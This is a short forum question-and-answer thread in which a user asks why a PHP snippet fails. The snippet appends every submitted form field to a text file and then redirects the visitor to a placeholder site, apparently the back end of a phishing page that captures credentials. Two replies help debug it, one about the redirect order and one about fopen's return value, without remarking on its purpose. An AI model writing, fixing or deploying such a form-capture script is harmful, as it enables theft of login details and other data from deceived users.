+ 1
What is wrong in this code?!!
<?php header ('Location: http://www.insertyourwebsite.com '); $handle = fopen("user.txt", "a"); foreach($_POST as $variable => $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n"); } fwrite($handle, "\r\n"); fclose($handle); exit;?>
2 Réponses
+ 2
Doesn't header ('Location: http://www.insertyourwebsite.com'); redirect your website to the specified URL, and therefore the code below never runs?
<?php
$handle = fopen("user.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
?>
0
Have you checked the return value of fopen()?
From the documentation (http://php.net/manual/en/function.fopen.php)
"Returns a file pointer resource on success, or FALSE on error."